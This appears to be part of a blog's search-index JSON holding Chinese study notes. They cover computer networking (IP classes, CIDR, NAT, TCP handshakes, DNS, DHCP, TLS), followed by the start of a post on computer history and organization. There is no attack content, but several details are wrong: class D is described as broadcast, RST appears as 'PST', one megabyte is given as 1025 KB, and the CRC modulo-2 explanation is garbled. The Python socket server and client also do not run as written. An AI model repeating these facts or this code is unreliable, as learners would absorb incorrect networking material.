Address），这个地址不属于任何一个地址类，它表示设备的本地虚拟接口，甚至无网卡也可以ping通该地址\n还有D类地址，开头前4位是1110，E类地址前4位为1111，D类和E类地址用来特殊用途的，例如广播（D类），D类和E类是不区分网络地址和主机地址的\n子网划分就是在网络号主机号的基础上添加子网号，通过子网掩码来匹配网络号\nA类地址的子网掩码是255.0.0.0\nB类地址的子网掩码是255.255.0.0\nC类地址的子网掩码是255.255.255.0\n子网掩码的二进制与IP地址的二进制进行与运算（位相同，并且为1返回1，位不相同，而且为0返回0），得到的运算结果转换为点分10进制，就是该IP属于这个IP的子网\n无分类编址CIDR（Classless Inter-Domain Routing，无类域间路由选择，没有ABC这些网络分类，也没有子网划分）\nCIDR将IP区分为网络前缀和主机号，网络前缀相同就表示是一个CIDR地址块，网络前缀不受限制\n斜线记法，例如192.168.1.2/25，表示前25位为网络前缀，后7位为主机号（2的7次方，就是128，去掉最大和最小的，还有126个ip地址可以分配，而不需要像C类地址一样，直接就分配255-2个地址，造成地址浪费）\n通过斜线记法占据网络前缀，主机号将可以灵活的占用，更有效分配IP地址，减少IP地址分配的浪费\nCIDR的IP地址与子网掩码，进行与运算，可以得到网络号\n网络地址转换NAT技术（解决IPv4地址不够用）\nNAT技术将IP分为内网地址（避免和外网地址重复）和外网地址（又叫公网地址）\nA类内网地址，10.0.0.0到10.255.255.255\nB类内网地址，172.16.0.0到172.31.255.255\nC类内网地址，192.168.0.0到192.168.255.255\n网关以及ISP，服务器使用外网地址，内部局域网使用内网地址\nNAT（Network Address Translation，网络地址转换）：让多个内网设备通过一个公网地址来访问互联网的技术，通过转发端口号来实现，内部的端口号，需要访问外网时，会分配一个新的端口号和新的地址（公网）来表示这个内网端口服务，这样外网访问这个公网的端口时，将可以映射给具体内网的端口服务\n例如常见的NAT穿透技术（就是内网穿透）\nICMP协议（Internet Control Message Protocol，网际控制报文协议）\nICMP协议可以报告错误信息和异常信息，搭配IP协议使用\nICMP协议报文封转在IP数据报的数据中，ICMP协议报文由ICMP报文首部和ICMP报文数据组成\nICMP报文首部由8位类型（ICMP报文的类型，有2类，分别是差错报告报文，询问报文），8位代码（ICMP报文具体有哪些错误），16位的校验和组成\n差错报告报文的常见类型有3（终点不可达，代码0为网络不可达，1为主机不可达），5（重定向，代码0为网络重定向，1为主机重定向），11（传输超时），12（缺少IP必要参数（1）或者IP头部问题（0））\n询问报文的常见类型有0或者8（回送请求或者应答），13或者14（时间戳请求或者应答），询问报文主要查询网络是否互通，\n使用了ICMP协议的应用有ping（询问报文），traceroute（发送IP数据包到目标需要走哪些路由）\nwindows可使用tracert命令来体验traceroute的功能，tracert baidu.com\n传输层（给上层应用层提供通信功能，是数据通信的最高层，传输层实现进程与进程间的通信（跨设备，跨设备））\n传输层协议：TCP协议和UDP协议\n使用不同的端口表示不同的网络进程，端口使用16位表示，（0到65535），端口只对本地有意义，进行网络传输，还需要搭配IP来使用\n传输层对上层应用层起到屏蔽底层的细节的作用，网络层传输点到点的传输，传输层就将点精确到端，进程的传输\nUDP协议（User Datagram Protocol，用户数据报协议）\n应用层传递的数据报，UDP不会对其进行合并，拆分，UDP协议数据报大小取决于上层网络层的数据报\nUDP数据报分为UDP首部，UDP数据报数据（UDP数据报数据就是上层应用层提交的数据）\nUDP首部由16位源端口号（源机器的端口），16位目标端口号（目标机器的端口），16位UDP长度（表示UDP数据报的长度），16位UDP校验和组成，UDP首部是8字节的长度\nUDP无连接（不需要建立连接，直接对目标发送数据报），不保证可靠传输数据（不会感知数据报的发送失败，丢失），面向报文传输（应用层交付的数据报文有多大，UDP就传输多大的UDP协议报文，一次发送一个报文），没有拥塞控制（无法感知网络的拥塞情况，直接交付数据报给网络就完事）\nTCP协议（Transmission Control Protocol，传输控制协议）\nTCP协议报文也是在IP数据报的数据内部的，由TCP首部和TCP数据报数据组成\nTCP是面向连接（需要提前建立连接，才能通信），提供可靠传输（连接管理（3次握手，4次挥手），数据分段（），校验和（校验数据），序号（按顺序发送，收到乱序则丢弃数据），累计确认（接收数据方会发送确认应答，来表示发送的报文收到了），重发机制（定时器，一段时间内无法确认该报文接收到，发送方会重新发送该报文），流量控制（感知对方的接收情况，如果对方接收不够快，会提示对方降低发送频率（调整本地的窗口，并且告知对方窗口值是多少），避免数据报的丢失），拥塞控制（感知网络拥塞情况，能根据拥塞情况来调整数据发送的频率，调整拥塞窗口，避免数据报的丢失），通过这些来保证可靠传输），提供全双工通信，面向字节流传输\nTCP字节流：TCP协议将网络层传输的数据看成字节流，会从字节流中选择长度来创建数据段（拆分），这个数据段就成了TCP数据报的数据，接收方接收数据时，还需要对数据进行排序（根据序号，合并）\nTCP粘包：发送的数据，在接收方被粘在一块了（排序），一个数据包的头部接着另一个数据的尾部，导致原因是接收数据时，并不会马上交付数据，而是存储在流量控制的缓存中，交付数据时就可能读取到TCP粘包\nTCP首部由16位源端口，16位目标端口，32位序号（传输的字节都有唯一序号，表示数据报的数据的第一个字节的序号），32位确认号（表示前面多少个数据收到了，如果有下一个数据请发送给我，例如ack=11，表示前面10个数据已经收到，可以发送第11个数据了，表示期待收到下一个字节序号是什么，传输下一个数据报的数据取决于这个，序号+当前数据长度的和就是下一个数据发送的起点序号），4位数据偏移（首部长度，最大长度1111，就是15，表示有15行，每行4字节，最大60个字节，单位为4字节，长度是20（最少20字节）到60字节之间，表示真实数据距离首部有多长），保留字段，6位的TCP标记（有6位不同的控制位，分别为URG（Urgent，紧急位，URG=1，表示该数据是紧急数据，接收端会更优先获取该数据），ACK（Acknowledgenent，确认位，ACK=1时确认号才生效），PSH（Push，推送位，PSH=1时表示尽快将该数据交付应用层，不需要等缓存填满交付），PST（Reset，重置位，RST=1时通知重新建立TCP连接），SYN（Synchronization，同步位，SYN=1，ACK=0时表示需要连接建立请求，ACK=1时表示连接请求报文），FIN（Finish，终止位，FIN=1时，表示数据发送完成，开始断开连接操作）），16位窗口（表示本地可以接收的数据最大多少，字节为单位，流量控制的基础，可变），16位校验和（差错控制，发送方计算全部数据的校验和，接收方也计算校验和，当接收方的校验和和发送方一致时，数据发送正确），紧急指针（搭配URG控制位使用，指定紧急数据在报文的位置），可选的TCP选项（最大40字节），以及填充（填充32位的整数倍）组成\nTCP首部除了填充，TCP选项外，剩余是固定20个字节的长度的\n可靠传输协议：停止等待协议（发送方发送数据，只有当接收方响应确认后，再发送另一个数据，停止是发送方的停止发送另一个数据，等待是接收方等待数据的传输，获取到了响应一个确认，如果接收方在一段时间内没有响应确认消息，发送方会重发该数据给接收方（超时重传，超时定时器）），连续ARQ协议（连续发送多个报文，批量发送，通过滑动窗口，来确认发送多少个报文，当报文确认号到达，将移动窗口，让其可以发送后面的报文，累计确认）\nTCP可靠传输基于连续ARQ协议，滑动窗口是以字节为单位，窗口首个字节就是确认号（期望下一个发送该字节），发送字节的长度等于确认号+窗口大小，移动窗口的前提是已经接收到确认了，可用窗口等于窗口长度-已发送未确认的，如果窗口首个字节长时间没有确认，将重新传输该窗口的全部字节（哪怕已经接收到）\n因为重传窗口的全部字节效率低，因此有选择重传，可以指定重传的字节，每个字节都有32位序号，提供序号就可以选择性重传，选择重传的数据存储在TCP选项内部，因为TCP首部最大60字节，因此TCP选项最大40字节，也就是10个序号（一个序号4字节），能存储的序号太小，因此实质上存储的是重传的字节边界，重传开头字节到结尾字节，就是2个协号表达一段需要重传的字节，这会增加了重传字节的数量，而不是每次只能重传10个字节，而是能重传数百个，数万个字节，因为丢失字节的数量是非常巨大的，要么没有问题，一出问题就是字节丢失很多\n流量控制（提示发送方的发送数据的频率不要太快（避免接收方处理不及时，而导致数据丢失），通过限制滑动窗口的大小来实现，窗口指明发送的数据量是多少）\n发送方发送数据时携带SEQ序号，表示该报文的序列号，接收方进行响应时，会返回ACK确认号（表明接收到哪个报文了），如果想提示发送方的窗口要设置多大合适，还可以响应一个RWND来表示发送方应该设置窗口大小为这个\nACK=101，RWND = 1000，将表示下一个发送序号为101的报文，并且窗口为1000，也就是说可以一次传输101到1100之间的报文\n通过窗口大小来通知对方的发送速率，来做到流量控制，超时重传只针对数据的，对于响应消息是不会触发重传的，如果窗口控制的消息丢失了，将可能导致死锁（如果之前设置RWND为0的话，需要等待响应调整窗口，窗口消息丢失，接收方和发送方都在等待对方的回应）\n坚持定时器：当接收到RWND为0的消息时，启动坚持定时器，坚持定时器将每隔一段时间发送窗口探测报文，询问接收方是否有调整窗口的大小的操作，避免因为窗口消息的丢失而死锁的情况发送\n拥塞控制（硬件设备传输速率不同或者网络设备故障，因此存在网络拥塞的情况，例如报文超时，这个也是被认为网络拥塞了）\n拥塞控制算法：慢启动算法（从小到大逐渐增加发送量，当发送的报文接收到了，将增加发送量，逐渐试探网络是否拥塞了，会指数增长发送量，直到慢启动阈值（ssthresh）），拥塞避免算法（当慢启动算法达到慢启动阈值时启动，控制拥塞窗口，会试探扩大拥塞窗口（直线增长），直到发送网络拥塞为止）\n三次握手（通过TCP首部的TCP标记完成，ACK，SYN，FIN）\n第一次握手：SYN=1，seq=x，seq是序号，请求建立连接方向目标发送\n第二次握手：SYN=1，ACK=1，seq=y，ack=x+1，ACK确认收到请求，seq的值是数据序号，ack=x+1，是希望下次接收的数据的序号\n第三次握手：ACK=1，seq=x+1，ack=y+1，ACK确认，seq是当前发送的数据序号，ack是期望下次接收的序号\n发送方负责同步和建立连接，接收方负责监听和同步数据已接收响应，建立连接\n三次握手的作用不只是建立连接，而且还可以同步数据的序号，以及希望下次接收数据的序号，避免失效的请求建立连接报文（超时的）而导致错误，第三次握手消息，会让接收方忽略超时的失效的建立连接报文（因为超时没有响应，会重发请求）\n四次挥手（TCP连接的释放）\n第一次挥手：FIN=1，seq=u，数据传输完毕，需要终止TCP连接\n第二次挥手：ACK=1，seq=v，ack=u+1，被终止方依然可以发送数据，因为只是主动终止方发送完毕数据了，对方并不一定完成了，需要等待对方发送完毕\n第三次挥手：FIN=1，ACK=1，seq=w，ack=u+1，被终止方发送数据完毕，也可以终止了\n第四次挥手：ACK=1，seq=u+1，ack=w+1，请求终止方确认已经接收到对方可终止的请求后发送，可以释放了\n等待计时器：请求终止方需要等待计时器后才进行关闭，而被终止方接收到第四次挥手消息后是立刻关闭，这个计时器又叫2MSL计时器，即报文最大生存时间的2倍（MSL，Max Segment LIfetime，最长报文段寿命，一般为2分钟）\n等待计时器的作用是确保第四次挥手消息到达对方，如果对方在2MSL内没有接收到，会重新发送第三次挥手消息，确保全部报文在连接中失效，端口占用\n套接字（ip和端口的组合，Socket，表示TCP连接的一端，用来数据发送和接收）\nTCP连接使用2个套接字来组成（C/S架构）\n服务端创建套接字，绑定套接字，监听套接字，接收或者处理消息\n客户端创建套接字，连接套接字，发送消息\n套接字编程（使用Python完成）\n服务端\nimport socket def server(): s = socket.socket() #创建套接字 host = '127.0.0.1' port = 8080 s.bind((host,port)) #绑定套接字 s.listen(10) #监听 addr = s.accept() #接收对方发送的消息 addr.send('hallo word') #向对方发送消息 addr.close() #关闭连接 if __name__ == '__main__': server() 客户端\nimport socket def client(): s = socket.socket() #创建套接字 s.connect('127.0.0.1',8080) #连接端口 print(s.recv(1000)) #接收服务端消息 s.close() #关闭连接 if __name__ == '__main__': client() 应用层（对接用户的一层，定义应用与应用之间的通信规则）\n应用层常见协议：HTTP，SSH，DNS，FTP，SMTP，POP3，Telnet\nDNS（Domain Name System，域名系统）\n使用域名来代替IP的点分十进制，通过DNS服务，可以将域名映射出源IP地址（这个源可能是源服务器，也可能是代理服务器，缓存服务器，CDN服务器）\n域名由点，数字，字母组成，这个字母不区分大小写，点分割不同域（这里的域主要分顶级域，二级域，三级域）\n例如：blog.xiaochenabc123.test.com，.com就是顶级域，xiaochenabc123.test.com是二级域，blog.xiaochenabc123.test.com是三级域\n顶级域分成通用顶级域和国家（地区）顶级域，例如.cn，.com，.org，.net，.gov\n顶级域搭配二级域就是可以完成一个IP映射服务了\nDNS服务部署在DNS服务器上（域名服务器），根域名服务器（管理所有顶级域，全世界目前只有13台），顶级域名服务器（负责顶级域的DNS解析工作），域名服务器（负责二级域的解析工作）\nDNS解析过程：计算机访问本地域名服务器查询，如果本地域名服务器没有缓存，则直接向根域名服务器请求，这个顶级域是属于哪个顶级域名服务器的，根域名服务器会返回对应的顶级域名服务器信息，本地域名服务器然后对顶级域名服务器查询，这个二级域名应该属于哪个域名服务器，再访问域名服务器，最后获取映射的IP\n本地域名服务器决定了DNS解析的时长，一个好的本地域名服务器可以减少向根，顶级，域名服务器的请求，例如公共域名服务器，114.114.114.114，8.8.8.8，119.29.29.29，223.5.5.5，180.76.76.76\n域名由 ICANN 管理全世界的域名系统工作\nDNS也会被缓存到本地计算机内，浏览器缓存，操作系统缓存，因此实质上是先访问浏览器缓存，没有再访问操作系统缓存，再然后才到本地域名服务器\nDHCP协议（Dynamic Host Configuration Protocol，动态主机设置协议）\nDHCP协议是局域网协议，调用UDP协议的应用层协议，提供即插即用联网服务（不需要手动设置IP，而是使用DHCP协议提供的服务，动态设置IP）\nDHCP协议提供的是临时IP，具有租期性（过期了会回收，当然也可以续租），提供DHCP协议服务的是DHCP服务器，该服务器通过监听默认端口67，计算机通过UDP协议进行广播DHCP发现报文，因为当前计算机还没有分配IP，会通过设置ip的位全为1，就是255.255.255.255为UDP协议报文的ip，表示这个报文是广播报文，DHCP服务器接收到发现报文后发出DHCP提供报文，计算机接收DHCP提供报文，知晓该网络提供DHCP服务，计算机会向DHCP服务器发送DHCP请求报文，DHCP接收请求并且回应，提供IP地址\nHTTP协议（HyperText Transfer Protocol，超文本传输协议）\nHTTP协议是调用TCP协议的应用层协议，基于TCP的数据可靠性传输\n服务端处理过程：接受客户端TCP连接，接收请求报文（HTTP请求方法有很多种，常见的有GET，POST，DELETE，UPDATE，PUT等等），处理请求，访问资源，生成响应报文，发送响应报文给客户端\n请求报文由请求方法，请求地址，HTTP版本，请求头，请求内容组成\n响应报文由HTTP版本，响应状态码，状态解释，响应头，响应内容组成\nHTTPS是在HTTP协议的基础上使用了SSL（Secure Sockets Layer，安全套接层），数字证书加密通信，SSL证书由可信任组织（CA机构）颁发给所有人的，CA机构颁发的证书就叫CA证书，CA证书有很多种，SSL证书是CA证书的一种，数字证书主要由证书序列号，签名算法，有效期，所有人名称，所有人公开密钥组成\nSSL提供了数据加密传输，数据不可篡改等功能，应用层的数据交付给传输层会经过SSL的加密传输\n先进行443端口的TCP连接，SSL安全握手，完成安全握手后就可以对数据进行加密解密\nSSL安全握手的过程：\n客户端向服务端发送协议版本，支持的加密算法，随机数1\n服务端回应，发送确定的加密算法，数字证书，随机数2\n上面2次是不进行加密传输的，下面的才进行加密传输\n客户端会先检查数字证书有效性，使用数字证书提供的公开密钥对随机数3进行加密，并且将加密数据发送给服务端\n服务端接收到加密数据时，使用私有密钥解密这个随机数3\n客户端和服务端会根据之前生成的随机数1，随机数2，随机数3和确认的加密算法生成对称密钥\n客户端和服务端将使用这个对称密钥来进行加密和解密传输，这个对称密钥只有客户端和服务端知道，外人并不知道（因为随机数3是使用数字证书的公钥加密的，这个随机数3只有客户端和服务端解密后知道）\n","permalink":"https://chenjunlinabc.github.io/posts/156/","summary":"计算机网络是通用，可编程的硬件组成的，并且这些设备可互连，并且可以传输不同类型的数据\n计算机网络不是只有软件概念，还有硬件设备，例如：网卡，网线，路由器等等\n网络作用范围：广域网（WAN），城域网（MAN），局域网（LAN）\n计算机网络发展历史\nARPANET（1969年，美国国防部创建的单个网络）\n三层结构互联网（现代互联网雏形，当时主要用于连接美国学校，实验室的计算机，主干网，地区网，校园网）\n多层次ISP互联网（ISP指网络服务提供商（Internet Service Provider），常见网络服务提供商有中国移动，中国电信，中国联通等等）\n多层次ISP互联网，分主干ISP（主要跨国通信），地区ISP（主要局部地区通信，例如广东移动，北京电信等等）\n中国创建了多个公共互联网，例如：中国电信互联网（CHINANET），中国移动互联网（CMNET），中国联通互联网（UNINET），中国教育与科研计算机网（CERNET），中国科学技术网（CSTNET）等等\n计算机网络层次结构（确保数据通信顺通，识别目标计算机的状态，数据是否存在错误）\n层次结构大概分3个，网络应用，数据通信，物理网络\n层次细分的话，有七层，也就是OSI七层模型（OSI国际标准定义的），而且每个层都是独立的（不干预其他层），只完成不同的工作\nOSI七层模型：应用层（为计算机提供服务），表示层（数据处理），会话层（管理通信会话），传输层（管理通信连接），网络层（数据路由），数据链路层（管理节点之间的数据通信，例如传输数据到另一个局域网），物理层（计算机物理设备）\nOSI七层模型并没有成为广泛使用的标准，而是采用TCP/IP四层模型\nTCP/IP四层模型：应用层（对于OSI七层模型的应用，表示，会话，HTTP协议），传输层（OSI七层模型的传输层，TCP/UDP协议），（OSI七层模型的网络层，IP/ICMP协议）网络层，（数据链路层和物理层，ARP/RARP协议）网络接口层\n计算机网络性能指标\nbps=bit/s，1秒多少比特位，比特率\n时延：发送时延（数据bit除以bps），排队时延（数据等待被网络设备处理的时间），处理时延（数据到达目标机器后处理需要的时间），传输时延（传输路径除以bps）\n总时延 = 发送时延+排队时延+传输时延+处理时延\n往返时间RTT（Route-Trip Time）：数据报文在通信中来回一次的时间（可通过ping命令来查看RTT）\n物理层（连接不同的物理设备，传输比特流）\n物理层传输介质：双绞线（又分屏蔽和无屏蔽，区别就是增加了一层屏蔽层），同轴电缆，光纤（通过光传输，光纤内部是具有高折射率的纤芯，能折射光）\n电缆使用铜作为传输介质，光纤通过光来作为传输介质\n铜线中的电信号传播速度大约为2.3*10^8m/s\n光纤中光信号的传播速度是2.0*10^8m/s\n因此实质上电缆的传播速度比光纤快，因为光纤是利用光的反射来传输到远方的，实质光走的距离更长\n但是电缆的铜在远距离的情况下，会导致衰减（主要有2个原因导致，介质损耗（通过电磁波传导，会在介质中产生电场的电荷规则排序，这会消耗能量）和导线损耗），需要通过中继器来延续信号\n因此在跨市，跨城，跨省，跨国使用都是光纤（光纤的带宽比电缆好，也是一个原因），但是短距离，得益于电缆的传播速度，会更好，因此局域网内部大多使用电缆来传输（因为解析光信号，还需要个光信号调制调解器，计算机无法直接使用光纤传输的数据）\n比特流：通过高低电平来表示比特流，来传输数据\n信道（往一个方向传输信息的媒体，一个通信电路最少要有一个发送信道和接收信道）\n信道的分类：单工通信信道（只能往一个方向通信的信道，没有反馈的信道，例如电视机的电视闭路线），半双工通信信道（可以发送和接收信息，但是不能同时发送，同时接收），全双工通信信道（可以同时发送，同时接收）\n物理层会实现信道分用复用技术（提升信道的利用率）\n频分复用，时分复用，波分复用，码分复用\n数据链路层（封装成帧，透明传输，差错监测）\n数据帧：数据链路层中数据的基本单位，数据发送方会在网络层的一段数据的前后添加特定标记，而这一段数据就是数据帧，数据接收方根据特定标记来识别数据帧，是数据链路层内部数据处理成帧\n数据帧也分MAC帧（没有帧尾，因为MAC帧之间是96比特时间，帧头也是没有的，而是让物理层给MAC帧添加8bts的前导码），PPP帧（有帧头和帧尾，帧头到帧尾就是这个帧的长度）\n封装成帧：数据链路层会将网络层交付的数据报文添加帧头和帧尾，让其成为帧\n帧头和帧尾都是特定的控制字符（比特流），帧头（SOH）：00000001，帧尾（EOT）:00000100\n透明传输：数据链路层对网络层提供的数据没有限制（控制字符在帧数据中，但是不会去当成数据去处理，就好像帧头和帧尾不存在一样）\n字节填充（对数据内部的数据填充ESC转义字符），比特填充（零比特填充法：在每5个连续的1后面插入比特0）\n数据链路层规定了帧的数据的长度限制，就是最大传输单元MTU（Maximun Transfer Unit）\n以太网的MTU（MAC帧）是1500字节\n路径MTU：由链路中MTU的最小值决定\n差错监测：因为物理层只负责传输比特流，没有控制出错的功能，因此数据链路层提供了差错监测的功能\n奇偶校验码：在发送的每个字节后加上一位，让字节中为1的数可以是奇数或者偶数，通过奇偶校验来确定数据是否出错，具体可以看https://xiaochenabc123.test.com/archives/77.html这篇文章，讲TCP的可靠性那里\n奇偶校验码的缺点就是如果发生2位的出错，就无法校验出来错误\n循环冗余校验码CRC（根据传输或者保存的数据来产生固定位数的校验码，校验码再附加到数据的后面）\n模二除法：通过异或来表示0或者1，例如00就是0，01就是1，异为1，或为0\n选择用于校验的多项式，并且在数据后面添加多个0，添加多个0的数据，通过模二除法来除以校验的多项式的位串，得到的余数将填充到原来数据的添加多个0的位置，来得到可校验的位串\n假设校验的多项式为X3+X2+1，那么就是原数据后面添加3个0（添加多少个0取决多项式的最高阶，二进制位的最高位也取决于最高阶（最高幂次）二进制位数等于最高阶+1，这里就是表示的二进制位为4位的二进制数），二进制位串位计算就是1x3+1x2+0x1+1x0，就是1101\n例如原数据为1010110，CRC校验码计算就是1010110000除以1101，得到的余数0001就是CRC校验码，在将原来填充0的位置填充CRC，就是10101100001，这个比特流就是要传输的数据\n接收数据进行校验通过，传输的数据除以位串，来得到余数，根据余数来进行判断校验（余数为0则表示数据正确）\n数据链路层只检测数据的错误，不会进行数据的纠错，数据错了，数据链路层将会丢弃错误的数据或者重新传输数据\nMAC地址（物理地址，硬件地址，每个设备都有唯一的MAC地址，用48个比特位来表示，使用16进制）\nMAC地址表：映射MAC地址到硬件接口上\n以太网协议是数据链路层的协议，以太网协议是局域网技术，以太网协议用于完成相邻设备的数据帧传输\n网络层（数据路由，数据在网络传输的路径，跨局域网，跨节点）\n路由器的顶层是网络层，没有使用到传输层和应用层\n网络层的ip协议，子网划分\n虚拟互连网络（物理网络复杂，使用IP协议时，将无需关心物理网络的差异）\n网络层利用IP协议来将使用IP协议的计算机连接起来，就好像这些计算机只需要连接一个虚拟互连网络一样，无需关心底层经过了哪些网关，路由器，ISP等等，将专注于数据的转发工作\nIP协议\nIP地址（v4只有32位，v6有128位），ipv4使用点分十进制表示，使用4组从0到255的数字表示ip地址，ipv6使用冒分十六进制，用8组4位的16进制表示ipv6地址","title":"计算机网络学习笔记"},{"content":"计算机发展历史\n1946-1957，电子管计算机，1957-1964，晶体管计算机，1964-1980，集成电路计算机，1980-至今，超大规模集成电路计算机\n电子管计算机：二战时期，英国为了破译德国的无线电密文，而发明了电子管计算机，最出名的电子管计算机莫过于埃尼阿克（ENIAC），埃尼阿克是美国军方为了计算弹道而诞生的，埃尼阿克长30多米，高2.4米，宽6米，拥有18000多个电子管，70000个电阻，10000个电容，1500个续电，6000多个开关，运行耗电150千瓦，重30吨，占地1500平方英寸（140平方米），造价48万美元，运算速度每秒5000次\n电子管计算机特点：集成度低，占空间大，功耗高，操作复杂（更换程序需要接线）\n晶体管计算机：诞生原因是因为贝尔实验室发明晶体管，1956年诺贝尔物理奖授予贝尔实验室发明晶体管的科学家，第一台晶体管计算机TX-0诞生于MIT的林肯实验室，当时的最强晶体管计算机PDP-1具备4k内存，每秒可执行20万条指令，具备512x512显示器（也是世界第一个显示器，也因为这个计算机携带了显示器的原因，而诞生了世界第一款电子游戏，太空战争）\n晶体管计算机特点：对于电子管计算机来说，集成度高，空间占据小，功耗比电子管低，运行速度快\n集成电路计算机：诞生原因是因为德州仪器的工程师发明了集成电路（IC），操作系统也因为集成电路计算机的出现而诞生，当时为了解决IBM的2款集成电路计算机（7094和1401）所编写的程序无法相互兼容，IBM而推出了System/360（操作系统雏形）\n超大规模集成电路计算机：芯片集成超大规模的集成电路\n微型计算机发展历史：因为集成电路计算机的诞生，计算机逐渐从庞然大物变成小型，乃至微型，1971到1973年，500khz频率的微型计算机（8位），1973到1978年，高于1mhz的微型计算机（8位），1978到1985年，500mhz的微型计算机（16位），1985到2000年，高于1ghz的微型计算机（32位），2000年到至今，高于2ghz的微型计算机（64位）\n摩尔定律：当价格不变的情况下，集成电路的性能，会每18至24个月提升一倍\n后来因为集成电路太密集，热损耗也越来越高，无法解决，摩尔定律也因此失效\n因为摩尔定律的失效，单核已到瓶颈，转而搞多核CPU，2005年，英特尔发布了奔腾系列的双核CPU，AMD也发布了速龙系列的双核CPU，2006年，英特尔发布酷睿四核CPU，至今AMD的服务器级霄龙处理器CPU可以高达64核，而且基准频率（单核频率）可以达到2Ghz以上\n计算机的分类\n超级计算机：功能最强，运算最快，存储容量最大的计算机，用于天气预报，海洋监测，生物制药，科学计算，航天等等需要超大运算的领域，衡量超级计算机的单位是TFlop/s（每秒一万亿次浮点计算）\n著名的超级计算机有Summit，神威太湖之光，天河一号，天河二号，Sierra\n天河二号位于广州大学城的中山大学校区的国家超级计算机广州中心\n大型计算机：又被称为大型机，大型机面向大型商业公司，维护成本高，硬件不易扩展，IBM占据大型机的大片市场，IBM为IOE中的I（计算机提供商）\n迷你计算机（服务器）：目前已替代大型机，为企业主要计算顶梁柱\n工作站：高端微型计算机，面向需要强性能的专业工作者（例如图形，视频）\n微型计算机（个人计算机）：又分为台式计算机，笔记本计算机，一体化计算机\n计算机体系和结构\n冯诺依曼体系：将指令和数据一起存储的计算机设计概念结构，使用通用电路设计，而不是使用专用电路，将指令存储，再将指令编译成通用电路可理解的程序\n冯诺依曼体系要求具备存储器，控制器，运算器，输入/输出设备\n冯诺依曼体系要求能将程序和数据发送给计算机（输入），能长期存储程序，数据，计算过程，计算结果的功能（存储器），具备算术，逻辑处理和数据传送等数据处理功能（运算器和控制器），并且能将处理结果反馈给用户（输出）\n冯诺依曼瓶颈：CPU和存储器速率之间无法调和，导致CPU空转等待数据传输\n现代计算机都是基于冯诺依曼体系的（解决冯诺依曼瓶颈），存储器和运算器，以及控制器整合在一起（就是CPU），CPU内部的存储器更高速（寄存器）\n计算机层次和编程语言\n程序编译和程序解析（计算机无法理解人类语言），需要进行语言（高级语言对低级语言）的转换\n高级语言生成低级语言的过程叫程序编译，而生成的工具叫编译器\n常见的编译型语言有C，C++，Golang\n高级语言作为输入，低级语言接收输入，从而达到高转低的目的，这个过程叫程序解析，而这个低级语言接收的工具叫解析器，解析器必须是用低级语言编写的\n常见的解析型语言有Python，PHP\njava是编译+解析语言，因为它会将源程序编译成JVM字节码，JVM虚拟机再将JVM字节码再解析成机器码，java的跨平台就是因为JVM虚拟机解析器\n计算机的层次：硬件逻辑层，微程序机器层，传统机器层，操作系统层，汇编语言层，高级语言层，应用层\n硬件逻辑层：由门电路和触发器等逻辑电路组成\n微程序机器层：由微指令组成的微程序直接交给硬件执行\n传统机器层：CPU指令集，不同架构CPU使用不同的CPU指令集\n这3层都为机器硬件层，一个指令就是一个微程序，也是一组微指令\n操作系统层：向上提供操作界面，向下对应指令系统，管理硬件（例如分配内存空间）\n汇编语言层：汇编语言可以直接编译成机器语言，完成翻译的工具叫汇编器\n高级语言层：高级语言\n应用层：应用软件\n计算机的计算单位\n容量单位\n在物理层次，用高低电平来记录信息（低电平为0，高电平为1，一个0/1的位被叫为bit（比特位））\n1字节（Byte）等于8bit\n1Kb（千字位）等于1024字节（Byte）\n1mb（兆字节）等于1025kb（千字节）\n1Gb（吉字节）等于1024mb（兆字节）\n1tb（太字节）等于1024gb（吉字节）\n1pb（拍字节）等于1024tb（太字节）\n1eb（艾字节）等于1024pb（拍字节）\n1024是2的10次方\n对于硬盘制造商来说，使用10进制，也就是硬盘制造商认为1000G才是1tb\n因此实质硬盘容量为购买标注的容量（例如240G）乘以1000的3次方，再除于1024的3次方，得到的数就是实质硬盘的容量\n原因是硬盘制造商为了记录硬盘的扇区，使用人类可理解的10进制，而不是2进制\n速度单位\n网络速度\n网络传输数据的单位为Mbps\n因此100M宽带就是指100Mbit/s，每秒传输100Mbps\n100Mbit换算字节就是100/8，也就是12.5MB，因此100m宽带峰值每秒可以传输12.5mb\nCPU速度（CPU的时钟频率，Hz）\nHz是每秒中的周期性变动重复次数的计量\n例如 3.30 GHz的CPU，就是3.3*1000^3Hz，也就是每秒可以达到33亿次的高低电平变化\n计算机的字符和编码集\n字符编码集的历史\nASCII码：ASCII码包含95个可打印字符和33个不可打印的字符（例如控制字符），用7个bits表示一个ASCII码（95+33就是128，也就是2的7次方）\n因为ASCII码无法满足需求（例如π），而推出了Extended ASCII码，由原来的7个bits变成8个bits，也就是支持256个字符\n中文编码集\n国标GB2312，诞生于1980年，中文名为信息交换用汉字编码字符集-基本集，GB2312收录了7445个字符（6763个汉字和682个其他字符）\n因为GB2312不符合国际标准，因此推出GBK（汉字内码扩展规范），向下兼容GB2312，向上支持国际ISO标准，GBK收录了21003个汉字，支持全部中日韩汉字\n为了解决全球的字符集问题，推出了Unicode（又被叫为统一码，万国码，单一码），Unicode定义的世界通用的编码集，并且使用UTF-x来对Unicode进行编码（这个x表示一个字符占多少bits，例如utf-8就是指，1个字符占了8个bits）\n计算机组成\n总线：解决不同设备之间的通信问题\n常见的总线有：\nUSB：全称Universal Serial Bus（通用串行总线）\nPCI总线（外置显卡）\nISA总线\nThunderbolt总线\n总线分2种，片内总线（就是芯片内部的总线，传递芯片内部的信息），系统总线（就是连接计算机外围设备的总线，负责CPU，内存，IO设备之间的信息传递）\n系统总线又分为数据总线（数据总线的位数（总线宽度）一般于CPU位数相同，64位（可以一次传输64位，8个字节的数据），负责双向传输数据信息），地址总线（指定数据的内存中的地址，位数为n时，寻址范围为0到2的n次方，位数和存储单元的位数有关系），控制总线（负责传输控制信号，控制信号通过控制总线，从这一个组件传输给另一个组件（例如显卡发送控制信号给显示器），而且还可以监控设备是否就绪）\n总线仲裁（解决多个设备就绪，总线的使用权分配问题）\n仲裁控制器：控制设备使用总线的优先顺序\n仲裁方法：链式查询（仲裁控制器连接总线的全部设备（串连），需要使用总线的设备发送仲裁，优先级高的最先允许，使用完毕，再询问下一个设备，直到没有需要，这就是链式查询），计时器定时查询（仲裁控制器使用计数器累计计数，当接收到仲裁信号后，向全部设备发送计数值，当计数值和设备编码一致时获取使用权），独立请求（每个设备都有总线独立连接仲裁器，设备都可以向仲裁控制器单独发送请求和接收请求）\n输入/输出设备\n常见输入/输出设备：字符输入设备（键盘），图形输入设备（鼠标，数位板，扫描仪），图像输出设备（显示器，打印机，投影仪）\n输入/输出接口通用设计：允许读取数据，允许向设备发送数据，允许检测设备